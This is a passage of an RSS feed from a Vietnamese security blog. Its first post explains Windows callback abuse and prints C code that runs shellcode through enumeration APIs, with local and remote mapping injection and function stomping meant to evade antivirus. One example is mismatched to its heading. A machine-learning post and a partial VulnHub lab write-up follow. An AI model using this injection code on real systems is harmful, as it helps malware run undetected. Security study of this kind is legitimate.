</content:encoded></item><item><title>Windows Internals: A Look at Callback Functions</title><link>https://wanderlens.vercel.app/posts/callbackfunction/</link><guid isPermaLink="true">https://wanderlens.vercel.app/posts/callbackfunction/</guid><pubDate>Sun, 09 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Callback functions là một khái niệm quan trọng trong nội bộ Windows, thường được sử dụng để xử lý các sự kiện hoặc thực thi hành động khi một điều kiện nhất định được đáp ứng. Các hàm này là công cụ mạnh mẽ trong các thao tác ở cấp hệ thống và cũng có thể bị lạm dụng cho mục đích xấu. Trong bài viết này, chúng ta sẽ tìm hiểu cách callback functions hoạt động, cách chúng có thể bị lợi dụng, và giới thiệu các kỹ thuật như mapping injection và function stomping.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Callback Function là gì?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Callback function&lt;/strong&gt; là một hàm được truyền vào như một đối số của một hàm khác, với mục đích được gọi lại sau này khi một điều kiện hoặc sự kiện nhất định xảy ra. Các hàm này rất hữu ích trong việc quản lý các thao tác bất đồng bộ hoặc lập trình theo sự kiện. Ví dụ, &lt;strong&gt;callback&lt;/strong&gt; có thể được sử dụng để xử lý các sự kiện hệ thống, xử lý thông điệp hoặc quản lý các tác vụ bất đồng bộ.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Tận dụng Callback Functions&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Mặc dù callback functions là phần không thể thiếu trong hoạt động bình thường của chương trình, nhưng chúng cũng có thể bị lợi dụng để thực thi mã độc. Thay vì sử dụng các phương pháp truyền thống như &lt;code&gt;CreateThread&lt;/code&gt; hoặc các kỹ thuật liên quan đến luồng khác, callback functions có thể được sử dụng để kích hoạt việc thực thi mã độc. Điều này đặc biệt nguy hiểm vì callback functions thường xuyên xuất hiện trong nhiều thao tác hệ thống, mở ra cơ hội cho kẻ tấn công lợi dụng.
Sau đây chúng ta sẽ tìm hiểu vài api phổ biến có tính năng &lt;strong&gt;callback&lt;/strong&gt;.&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;Sử Dụng &lt;code&gt;CreateTimerQueueTimer&lt;/code&gt;&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Hàm &lt;code&gt;CreateTimerQueueTimer&lt;/code&gt; tạo một bộ đếm thời gian và thêm nó vào hàng đợi thời gian của hệ thống. Khi bộ đếm thời gian hết hạn, nó sẽ gọi callback function. Bằng cách thiết lập callback function để thực thi payload, kẻ tấn công có thể kích hoạt việc chạy mã độc.
Dưới đây là cấu trúc cơ bản của &lt;code&gt;CreateTimerQueueTimer&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BOOL CreateTimerQueueTimer(
  [out]          PHANDLE             phNewTimer,
  [in, optional] HANDLE              TimerQueue,
  [in]           WAITORTIMERCALLBACK Callback,      // đây
  [in, optional] PVOID               Parameter,
  [in]           DWORD               DueTime,
  [in]           DWORD               Period,
  [in]           ULONG               Flags
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ví dụ sử dụng để thực thi payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!EnumChildWindows(NULL, (WNDENUMPROC)Payload, NULL)) {
    printf(&quot;[!] EnumChildWindows Failed With Error : %d \n&quot;, GetLastError());
    return -1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;&lt;strong&gt;Sử Dụng &lt;code&gt;EnumChildWindows&lt;/code&gt;&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Hàm &lt;code&gt;EnumChildWindows&lt;/code&gt; cho phép ứng dụng liệt kê tất cả các cửa sổ con của một cửa sổ cha được chỉ định. Hàm này áp dụng callback function vào mỗi cửa sổ con. Bằng cách thiết lập callback để thực thi payload, mã độc có thể được chạy cho mỗi cửa sổ.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BOOL EnumChildWindows(
  [in, optional] HWND        hWndParent,
  [in]           WNDENUMPROC lpEnumFunc,    // đây
  [in]           LPARAM      lParam
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ví dụ:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!EnumChildWindows(NULL, (WNDENUMPROC)Payload, NULL)) {
    printf(&quot;[!] EnumChildWindows Failed With Error : %d \n&quot;, GetLastError());
    return -1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;&lt;strong&gt;Sử Dụng &lt;code&gt;EnumUILanguagesW&lt;/code&gt;&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Hàm &lt;code&gt;EnumUILanguagesW&lt;/code&gt; được sử dụng để liệt kê tất cả các ngôn ngữ giao diện người dùng đã cài đặt trên hệ thống, gọi callback function cho mỗi ngôn ngữ. Hàm này cũng có thể bị lợi dụng bằng cách thiết lập callback để thực thi payload.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BOOL EnumUILanguagesW(
  [in] UILANGUAGE_ENUMPROCW lpUILanguageEnumProc,     // đây
  [in] DWORD                dwFlags,
  [in] LONG_PTR             lParam
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ví dụ sử dụng:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!EnumUILanguagesW((UILANGUAGE_ENUMPROCW)Payload, MUI_LANGUAGE_NAME, NULL)) {
    printf(&quot;[!] EnumUILanguagesW Failed With Error : %d \n&quot;, GetLastError());
    return -1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;&lt;strong&gt;Sử Dụng &lt;code&gt;VerifierEnumerateResource&lt;/code&gt;&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Hàm &lt;code&gt;VerifierEnumerateResource&lt;/code&gt; được sử dụng để liệt kê các tài nguyên trong một module. Khi bị lạm dụng, nó có thể được khai thác để chạy một payload. Hàm này yêu cầu module phải được tải với &lt;code&gt;LoadLibrary&lt;/code&gt; và &lt;code&gt;GetProcAddress&lt;/code&gt;, và cho phép bạn kiểm tra tài nguyên heap.&lt;/p&gt;
&lt;p&gt;Ví dụ:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HMODULE hModule = NULL;
fnVerifierEnumerateResource pVerifierEnumerateResource = NULL;

hModule = LoadLibraryA(&quot;verifier.dll&quot;);
if (hModule == NULL) {
    printf(&quot;[!] LoadLibraryA Failed With Error : %d \n&quot;, GetLastError());
    return -1;
}

pVerifierEnumerateResource = GetProcAddress(hModule, &quot;VerifierEnumerateResource&quot;);
if (pVerifierEnumerateResource == NULL) {
    printf(&quot;[!] GetProcAddress Failed With Error : %d \n&quot;, GetLastError());
    return -1;
}

// Chạy payload bằng cách thiết lập cờ AvrfResourceHeapAllocation
pVerifierEnumerateResource(GetCurrentProcess(), NULL, AvrfResourceHeapAllocation, (AVRF_RESOURCE_ENUMERATE_CALLBACK)Payload, NULL);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;Mapping Injection&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Mapping injection là một kỹ thuật mà trong đó bộ nhớ được ánh xạ vào không gian địa chỉ của một process. Kỹ thuật này ít bị phát hiện hơn so với các phương pháp cấp phát bộ nhớ truyền thống, chẳng hạn như &lt;code&gt;VirtualAlloc&lt;/code&gt;, vì chúng dễ bị phần mềm diệt virus theo dõi.&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;Mapping Injection Nội Bộ&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Dưới đây là cách bạn có thể tiêm một payload vào bộ nhớ sử dụng &lt;code&gt;CreateFileMapping&lt;/code&gt; và &lt;code&gt;MapViewOfFile&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BOOL LocalMapInject(IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {
    BOOL bSTATE = TRUE;
    HANDLE hFile = NULL;
    PVOID pMapAddress = NULL;

    // Tạo file mapping với quyền RWX
    hFile = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
    if (hFile == NULL) {
        printf(&quot;[!] CreateFileMapping Failed With Error : %d \n&quot;, GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    // Ánh xạ payload vào bộ nhớ
    pMapAddress = MapViewOfFile(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sPayloadSize);
    if (pMapAddress == NULL) {
        printf(&quot;[!] MapViewOfFile Failed With Error : %d \n&quot;, GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    // Sao chép payload vào bộ nhớ đã ánh xạ
    memcpy(pMapAddress, pPayload, sPayloadSize);

_EndOfFunction:
    *ppAddress = pMapAddress;
    if (hFile)
        CloseHandle(hFile);
    return bSTATE;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;&lt;strong&gt;Remote Mapping Injection&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Đối với việc tiêm từ xa, quá trình tương tự, nhưng bạn sẽ ánh xạ bộ nhớ vào không gian địa chỉ của remote process.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BOOL RemoteMapInject(IN HANDLE hProcess, IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {
    BOOL bSTATE = TRUE;
    HANDLE hFile = NULL;
    PVOID pMapLocalAddress = NULL, pMapRemoteAddress = NULL;

    // Tạo file mapping
    hFile = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
    if (hFile == NULL) {
        printf(&quot;[!] CreateFileMapping Failed With Error : %d \n&quot;, GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    // Ánh xạ bộ nhớ cục bộ và sao chép payload
    pMapLocalAddress = MapViewOfFile(hFile, FILE_MAP_WRITE, NULL, NULL, sPayloadSize);
    if (pMapLocalAddress == NULL) {
        printf(&quot;[!] MapViewOfFile Failed With Error : %d \n&quot;, GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }
    memcpy(pMapLocalAddress, pPayload, sPayloadSize);

    // Ánh xạ payload vào không gian địa chỉ của tiến trình từ xa
    pMapRemoteAddress = MapViewOfFile2(hFile, hProcess, NULL, NULL, NULL, NULL, PAGE_EXECUTE_READWRITE);
    if (pMapRemoteAddress == NULL) {
        printf(&quot;[!] MapViewOfFile2 Failed With Error : %d \n&quot;, GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    printf(&quot;[+] Remote Mapping Address : 0x%p \n&quot;, pMapRemoteAddress);

_EndOfFunction:
    *ppAddress = pMapRemoteAddress;
    if (hFile)
        CloseHandle(hFile);
    return bSTATE;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;Function Stomping Injection&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Function stomping là một kỹ thuật trong đó bộ nhớ của một hàm hoặc cấu trúc dữ liệu bị ghi đè bằng dữ liệu mới. Kỹ thuật này có thể được sử dụng để tiêm payload vào một tiến trình bằng cách trực tiếp thay đổi các địa chỉ hàm.&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;Chèn DLL vào Binary&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Thay vì sử dụng &lt;code&gt;LoadLibrary&lt;/code&gt; và &lt;code&gt;GetProcAddress&lt;/code&gt;, bạn có thể liên kết tĩnh một DLL vào binary của bạn và chèn một payload vào trong đó.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#pragma comment (lib, &quot;Setupapi.lib&quot;) // Thêm &quot;setupapi.dll&quot; vào Import Address Table
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;int main() {
    HANDLE hThread = NULL;
    printf(&quot;[+] Address Of \&quot;SetupScanFileQueueA\&quot; : 0x%p \n&quot;, &amp;amp;SetupScanFileQueueA);

    printf(&quot;[#] Press &amp;lt;Enter&amp;gt; To Write Payload ... &quot;);
    getchar();

    if (!WritePayload(&amp;amp;SetupScanFileQueueA, Payload, sizeof(Payload))) {
        return -1;
    }

    printf(&quot;[+] DONE \n&quot;);

    printf(&quot;[#] Press &amp;lt;Enter&amp;gt; To Run The Payload ... &quot;);
    getchar();

    hThread = CreateThread(NULL, NULL, SetupScanFileQueueA, NULL, NULL, NULL);
    if (hThread != NULL)
        WaitForSingleObject(hThread, INFINITE);

    printf(&quot;[#] Press &amp;lt;Enter&amp;gt; To Quit ... &quot;);
    getchar();

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Kết Luận&lt;/h3&gt;
&lt;p&gt;Trong bài viết này, chúng ta đã khám phá cách mà callback functions hoạt động trong nội bộ Windows và cách chúng có thể bị lạm dụng để thực thi payload. Chúng ta cũng đã thảo luận các kỹ thuật như mapping injection và function stomping, là các phương pháp mà kẻ tấn công có thể sử dụng để tiêm payload vào tiến trình từ xa hoặc cục bộ.&lt;/p&gt;
</content:encoded></item><item><title>Binary Classification and Linear Regression: A Comprehensive Analysis</title><link>https://wanderlens.vercel.app/posts/binaryclass/</link><guid isPermaLink="true">https://wanderlens.vercel.app/posts/binaryclass/</guid><pubDate>Thu, 08 Dec 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Giới thiệu&lt;/strong&gt;&lt;br /&gt;
Trong thế giới học máy, &lt;strong&gt;phân loại nhị phân&lt;/strong&gt; (binary classification) là một trong những bài toán kinh điển nhất, xuất hiện trong vô số ứng dụng thực tế như phát hiện spam, chẩn đoán bệnh, hay phân tích tín dụng. Mục tiêu của nó là phân chia dữ liệu thành hai lớp riêng biệt dựa trên các đặc trưng (features). Điều thú vị là, dù khác biệt về mục tiêu, bài toán này lại có mối liên hệ mật thiết với &lt;strong&gt;hồi quy tuyến tính&lt;/strong&gt; (linear regression) thông qua các kỹ thuật tối ưu hóa. Bài viết này sẽ giải mã mối quan hệ đó, đồng thời làm rõ cơ chế toán học đằng sau.&lt;/p&gt;
&lt;p&gt;&amp;lt;!--&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;1. Phân Loại Nhị Phân: Từ Ý Tưởng Đến Siêu Phẳng&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Bài toán cốt lõi&lt;/strong&gt;: Cho một tập dữ liệu với hai lớp (ví dụ: &quot;Bệnh&quot; và &quot;Không bệnh&quot;), ta cần xây dựng một &lt;strong&gt;siêu phẳng&lt;/strong&gt; (hyperplane) trong không gian đa chiều để phân tách chúng. Siêu phẳng này được định nghĩa bởi hàm tuyến tính:&lt;br /&gt;
&amp;lt;p class=&quot;formula&quot;&amp;gt;( f_{\mathbf{w}}(\mathbf{x}) = \mathbf{w} \cdot \mathbf{x} ),&amp;lt;/p&amp;gt;&lt;br /&gt;
trong đó:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;( \mathbf{w} ): Vector trọng số (weights), quyết định hướng và khoảng cách của siêu phẳng.&lt;/li&gt;
&lt;li&gt;( \mathbf{x} ): Vector đặc trưng đầu vào.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hàm &lt;strong&gt;sign&lt;/strong&gt; được áp dụng để xác định lớp:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$$( \text{sign}(f_{\mathbf{w}}(\mathbf{x})) = 1 )$$: Lớp dương (ví dụ: Bệnh).&lt;/li&gt;
&lt;li&gt;( \text{sign}(f_{\mathbf{w}}(\mathbf{x})) = -1 ): Lớp âm (ví dụ: Không bệnh).&lt;/li&gt;
&lt;li&gt;( f_{\mathbf{w}}(\mathbf{x}) = 0 ): Điểm nằm trên siêu phẳng (ranh giới quyết định).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;&lt;strong&gt;2. Thuật Toán Học: Perceptron và Adaline&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Để tìm ( \mathbf{w} ) tối ưu, hai thuật toán phổ biến được sử dụng:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;a. Perceptron&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Nguyên lý&lt;/strong&gt;: Cập nhật trọng số mỗi khi mô hình phân loại sai.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Công thức cập nhật&lt;/strong&gt;:&lt;br /&gt;
( \mathbf{w}&lt;em&gt;{\text{new}} = \mathbf{w}&lt;/em&gt;{\text{old}} + \eta \cdot y_i \cdot \mathbf{x}_i ),&lt;br /&gt;
với ( \eta ) là tốc độ học (learning rate), ( y_i ) là nhãn thực tế.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;b. Adaline (Adaptive Linear Neuron)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Khác biệt&lt;/strong&gt;: Thay vì dùng nhãn rời rạc (( \pm 1 )), Adaline tối ưu sai số bình phương giữa giá trị dự đoán và giá trị thực.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hàm mục tiêu&lt;/strong&gt;:&lt;br /&gt;
( L(\mathbf{w}) = \sum_{i} (y_i - \mathbf{w} \cdot \mathbf{x}_i)^2 ).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;&lt;strong&gt;3. Hàm Loss và Gradient Descent: Trái Tim Của Tối Ưu Hóa&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Dù sử dụng thuật toán nào, việc đánh giá hiệu suất mô hình đều dựa trên &lt;strong&gt;hàm loss&lt;/strong&gt; (hàm tổn thất). Với phân loại nhị phân, hàm &lt;strong&gt;hinge loss&lt;/strong&gt; thường được áp dụng:&lt;br /&gt;
&amp;lt;p class=&quot;formula&quot;&amp;gt;( L(\mathbf{w}) = \sum_{i} \max(0, 1 - y_i \cdot f_{\mathbf{w}}(\mathbf{x}_i)) ).&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Gradient Descent&lt;/strong&gt; là chìa khóa để tối ưu hàm loss:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Tính đạo hàm riêng của loss theo từng trọng số ( w_j ).&lt;/li&gt;
&lt;li&gt;Cập nhật trọng số:&lt;br /&gt;
( w_j^{\text{new}} = w_j^{\text{old}} - \eta \cdot \frac{\partial L}{\partial w_j} ).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Ví dụ minh họa&lt;/strong&gt;:&lt;br /&gt;
Xét hàm ( f(x, y, z) = (x + y) \cdot z ) với ( x = -2 ), ( y = 5 ), ( z = -4 ):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Đạo hàm theo ( x ): ( \frac{\partial f}{\partial x} = z = -4 ).&lt;/li&gt;
&lt;li&gt;Đạo hàm theo ( y ): ( \frac{\partial f}{\partial y} = z = -4 ).&lt;/li&gt;
&lt;li&gt;Đạo hàm theo ( z ): ( \frac{\partial f}{\partial z} = x + y = 3 ).&lt;br /&gt;
Quá trình này mô phỏng cách tính gradient để điều chỉnh ( \mathbf{w} ) trong mô hình.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;&lt;strong&gt;4. Mối Liên Hệ Với Hồi Quy Tuyến Tính&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Dù phân loại nhị phân và hồi quy tuyến tính có mục tiêu khác biệt (dự đoán nhãn rời rạc vs. giá trị liên tục), chúng chia sẻ chung kỹ thuật tối ưu:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Gradient Descent&lt;/strong&gt;: Được dùng để tối ưu hóa cả hai bài toán.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hàm Chi Phí&lt;/strong&gt;: Hồi quy tuyến tính dùng MSE (Mean Squared Error), trong khi phân loại nhị phân dùng hinge loss hoặc cross-entropy.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tính Chất Hình Học&lt;/strong&gt;: Cả hai đều xác định một siêu phẳng tối ưu trong không gian dữ liệu.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;&lt;strong&gt;5. Thách Thức và Ứng Dụng Thực Tiễn&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Dữ Liệu Không Phân Tách Tuyến Tính&lt;/strong&gt;: Khi hai lớp chồng lấn, mô hình tuyến tính thất bại. Giải pháp là chuyển sang SVM với kernel hoặc mạng neural.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ứng Dụng&lt;/strong&gt;: Từ lọc email đến hệ thống gợi ý sản phẩm, phân loại nhị phân là nền tảng của nhiều hệ thống AI hiện đại.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;&lt;strong&gt;Kết Luận&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Phân loại nhị phân không chỉ là bài toán cơ bản mà còn là ví dụ điển hình về cách toán học và tối ưu hóa được áp dụng trong học máy. Sự tương đồng với hồi quy tuyến tính phản ánh một nguyên lý sâu xa: Dù bài toán là gì, việc tìm kiếm mô hình tối ưu luôn xoay quanh việc &lt;strong&gt;định nghĩa đúng hàm mục tiêu&lt;/strong&gt; và &lt;strong&gt;tối ưu hóa hiệu quả&lt;/strong&gt;. Hiểu được điều này, chúng ta có thể mở rộng sang các mô hình phức tạp hơn như SVM hay deep learning với nền tảng vững chắc.
--&amp;gt;
Updating...&lt;/p&gt;
</content:encoded></item><item><title>Pentesting Diary - Hack with Me: [4] NullByte</title><link>https://wanderlens.vercel.app/posts/nullbyte/nullbyte-68fe21ceaefa442ab5958f0a07fb7d90/</link><guid isPermaLink="true">https://wanderlens.vercel.app/posts/nullbyte/nullbyte-68fe21ceaefa442ab5958f0a07fb7d90/</guid><pubDate>Sun, 12 Jun 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;NullByte&lt;/h1&gt;
&lt;p&gt;BOX:  &lt;code&gt;NULLBYTE&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Link: &lt;a href=&quot;https://www.vulnhub.com/entry/nullbyte-1,126/&quot;&gt;https://www.vulnhub.com/entry/nullbyte-1,126/&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;TO DO:&lt;/strong&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[x]  Info gathering. Nmap, naabu, nuclei.&lt;/li&gt;
&lt;li&gt;[x]  Exploit:
&lt;ul&gt;
&lt;li&gt;[x]  phpmyadmin exploit&lt;/li&gt;
&lt;li&gt;[x]  SSH Attack&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;[x]  Privilege escalation&lt;/li&gt;
&lt;li&gt;[x]  REPORT&lt;/li&gt;
&lt;li&gt;[x]  Done!&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Information Gathering&lt;/h1&gt;
&lt;h2&gt;Finding Machine IP + Map VLAN:&lt;/h2&gt;
&lt;p&gt;Box này nó chưa cho sẵn IP cho nên việc đầu tiên là scan IP và map vlan.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Port scanning:&lt;/h2&gt;
&lt;p&gt;Tiếp theo là scan port bằng naabu và nmap.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%201.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%202.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Vulns check&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%203.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Fuzzing Time&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;Subdomain:&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Passive:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%204.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Active:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%205.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hidden directory:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%206.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%207.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Trang chủ chỉ có mỗi ảnh gif nên ta tải xuống và dùng binwalk extract xem nội dung HEX thử.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%208.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ta thấy chuỗi string đặc biệt &lt;code&gt;kzMb5nVYJw&lt;/code&gt; Test thử thì đây chính là đường dẫn tới một trang có form nhập key.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%209.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ở đây ta dùng Hydra để bruteforce key này&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2010.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Sau khi nhập key &lt;code&gt;elite&lt;/code&gt; vào thì web dẫn tới trang như hình.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2011.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2012.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Tổng kết những thông tin useful sau khi scan,fuzzing các kiểu con đà điểu nè:&lt;/strong&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;Scanning&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;PORT&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Services&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Version&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Vuln&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Exploitable?&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Note&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Naabu  + Nmap&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;Apache httpd&lt;/td&gt;
&lt;td&gt;2.4.10&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;777&lt;/td&gt;
&lt;td&gt;OpenSSH&lt;/td&gt;
&lt;td&gt;6.7p1&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;bruteforce&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nuclei&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;nothing useful&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Fuzzing&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;File/Directory - Domain&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Dirsearch&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/phpmyadmin&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/kzMb5nVYJw&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
